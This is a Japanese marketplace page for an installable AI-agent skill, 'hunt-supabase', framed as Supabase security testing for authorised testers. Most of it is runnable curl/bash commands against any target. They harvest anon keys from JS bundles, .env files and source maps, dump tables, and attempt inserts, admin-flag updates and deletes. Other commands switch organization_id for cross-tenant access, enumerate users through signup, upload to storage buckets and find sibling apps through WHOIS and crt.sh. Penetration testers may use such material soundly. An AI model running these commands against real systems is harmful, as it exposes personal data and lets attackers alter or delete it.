mcpField
H
hunt-supabase

hunt-supabase

github.com/uphiagoセキュリティ1.3k39 回インストール8 週間前に更新
リポジトリ

hunt-supabase について

許可を得たテスト担当者向けの Supabase セキュリティ検証スキルです。プロジェクトの発見、RLS とテナント境界の確認に加え、Auth、RPC、Storage を調べます。攻撃チェーン、深刻度の目安、公開設定と悪用可能なアクセスを区別する注意点も含みます。

主な機能

  1. 01Supabase URL と anon key の発見
  2. 02テーブルデータと RLS の読み書き権限確認
  3. 03組織 ID の回避と RPC のデータ範囲を検証
  4. 04Auth 登録とユーザー列挙の確認
  5. 05Storage バケットとファイルアクセスの調査
  6. 06深刻度評価と誤検知の回避

活用シーン

  1. 01許可されたテストで Supabase プロジェクトを監査
  2. 02匿名ユーザーとログインユーザーのデータ境界を確認
  3. 03マルチテナントアプリの組織分離をテスト
  4. 04Storage の露出と登録開放のリスクを評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-supabase

インストール後、Claude Code で/hunt-supabaseを入力して読み込まれたか確認します。

詳細

HUNT-SUPABASE — Supabase の悪用

重要な標的

Supabase はオープンソースの Firebase 代替製品です。アクセス制御には Row Level Security(RLS) を使用しますが、RLS ポリシーは誤って設定されていることがよくあります。特に、急速に開発されたスタック(Lovable.dev、Bolt.new、Cursor)でその傾向が見られます。

価値の高い発見事項:

  1. anon キー経由でアクセスできる公開テーブル — RLS が無効になっているか、ポリシーが寛容な場合、anon キーを使った REST API がテーブルデータを返します。重大です。
  2. organization_id を利用した RLS のバイパス — UPDATE 操作でユーザーの所有権は確認するものの、organization_id は確認しないため、テナントをまたいだデータアクセスが可能です。重大です。
  3. グローバルデータを返す RPC 関数 — auth.uid() でフィルタリングしない SECURITY DEFINER RPC 関数により、すべてのユーザーのデータにアクセスできます。高リスクです。
  4. RLS のないストレージバケット — ファイルの一覧表示、アップロード、ダウンロードが公開されています。高リスクです。
  5. オープンなサインアップ — 誰でも登録して JWT を取得できます。高リスクです。
  6. マルチテナントの列挙 — 同じ開発者が構築した複数のアプリで、同じ RLS の不備が見つかります。中リスクです。

フェーズ 1 — Supabase プロジェクトを見つける

Supabase は、URL の形式 https://[PROJECT_REF].supabase.co と anon キーの形式 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...(eyJ で始まる JWT)で識別できます。

1.1 JS バンドルを検索する
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js

# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js

# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 .env ファイルと設定ファイルを検索する
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"

# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 ソースマップから抽出する
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
        keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
        for u in urls: print(f'URL: {u}')
        for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null

フェーズ 2 — Supabase の偵察

Supabase の URL と anon キーを入手したら、次の操作を行います。

SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"

# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
  if [ "$response" = "200" ]; then
    echo "[+] PUBLIC TABLE: $table"
    # Sample the data
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
  fi
done

フェーズ 3 — anon キーによるデータ列挙

3.1 テーブルデータを読み取る
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 書き込みアクセスを試す
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"test_column": "pwned"}'

# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"admin": true}'

# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY"

フェーズ 4 — Organization ID の操作による RLS のバイパス

これは、マルチテナントアプリで最もよく見られる Supabase の脆弱性です。

4.1 UPDATE による組織間 IDOR
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"TARGET_ORG_UUID"}'

# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 Organization フィルターのない RPC 関数
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
    -H "Content-Type: application/json" -d '{}')
  if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
    echo "[+] RPC accessible: $rpc"
    echo "$response" | python3 -m json.tool | head -20
  fi
done
4.3 WHOIS によるマルチテナントの列挙
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"

# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = set(d['name_value'] for d in data)
    print('\n'.join(sorted(domains)))
except: pass
"

# Step 3: Test each for Supabase with the same broken RLS patterns

フェーズ 5 — Supabase Auth の悪用

5.1 オープンなサインアップ
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "TestPassword123!"
  }'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 サインアップから JWT を抽出する
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"TestPassword123!"}')

ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")

# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 ユーザー列挙のブルートフォース
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
    -H "apikey: $ANON_KEY" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
  # HTTP 200 = new user created
  # HTTP 422 = email already exists -> VALID USER
  # HTTP 400 = validation error
  echo "$email: $response"
done

フェーズ 6 — Supabase Storage の悪用

# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
  -o /tmp/downloaded_file

# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"
# HTTP 200 with Key -> upload allowed!

# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY"

フェーズ 7 — 攻撃チェーン

チェーン A:JS 内の anon キー -> 公開テーブルのダンプ
JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)
チェーン B:オープンなサインアップ -> 認証済みアクセス -> 書き込み
Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks
チェーン C:Org ID による RLS のバイパス -> テナント間アクセス
UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack
チェーン D:RPC 関数 -> グローバルデータへのアクセス
RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage

検証の重大度

発見事項重大度
anon キーにより PII テーブルへの SELECT が可能重大
anon キーにより INSERT/UPDATE/DELETE が可能重大
オープンなサインアップ(誰でもアカウントを作成できる)高
RPC が組織をまたいだデータを返す高
ストレージバケットの一覧表示/ダウンロードが公開されている高
ストレージバケットへのアップロードが公開されている重大
サインアップによるメールアドレスの列挙低〜中
org_id の改ざんによる RLS のバイパス重大
テーブルに RLS ポリシーが設定されていない高
Supabase のプロジェクト ID のみ(キーなし)情報提供

検証

以下のセルフテストを実行し、Supabase の調査準備ができていることを確認します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。

    grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。


落とし穴

  • Supabase anon キーの露出 — anon キーは意図的に公開されています。RLS によって制限されたアクセスを許可します。問題となるのは、RLS ポリシーが設定されていない場合です。
  • RLS をバイパスできる公開バケット — RLS ポリシーによってストレージへの公開読み取りが許可されている場合、それは意図された動作です。非公開であるべきデータへのアクセスが必要です。
  • Supabase の URL と anon キーは認証情報ではありません — これらは設定値であり、秘密情報ではありません。anon キーが RLS の欠落によってアクセスできる範囲に基づいて、影響度を判断してください。
  • 機密データを含まない Supabase リアルタイムサブスクリプション — 公開チャンネルへのサブスクライブは想定された動作です。非公開チャンネルへのサブスクリプションが必要です。

関連スキル

  • hunt-firebase — Firebase/Firestore/GCP における関連脆弱性の悪用(類似の anon-key パターン)
  • hunt-source-leak — JS バンドル、.env、ソースマップでの API キーの発見
  • hunt-idor — organization_id を介した RLS バイパスは IDOR の一種です
  • hunt-api-misconfig — REST API エンドポイントの列挙方法
  • hunt-cors — Supabase REST API エンドポイントでの CORS
  • hunt-schema-enumeration — エラーヒントを使った列挙手法(Supabase のテーブル名を特定する主要な方法)
  • hunt-write-gap — スキーマ列挙でテーブルを発見した後、PATCH/POST/DELETE をテスト

エラーヒントによる列挙 — スキーマの発見

存在しないテーブルにクエリを送信すると、PostgREST はテーブル名のヒントを返します。これは Supabase のスキーマ全体をマッピングする最速の方法です。

SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."

# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
  sessions subscribers movements payments transactions wallets accounts; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
  hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
  if [ -n "$hint" ]; then echo "  ${table} -> ${hint}"; fi
done

# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered

スキーマをマッピングした後、hunt-write-gap に進み、発見したテーブルで書き込み操作をテストします。

Supabase の一般的な検出結果の形式

# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'

# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"

コメント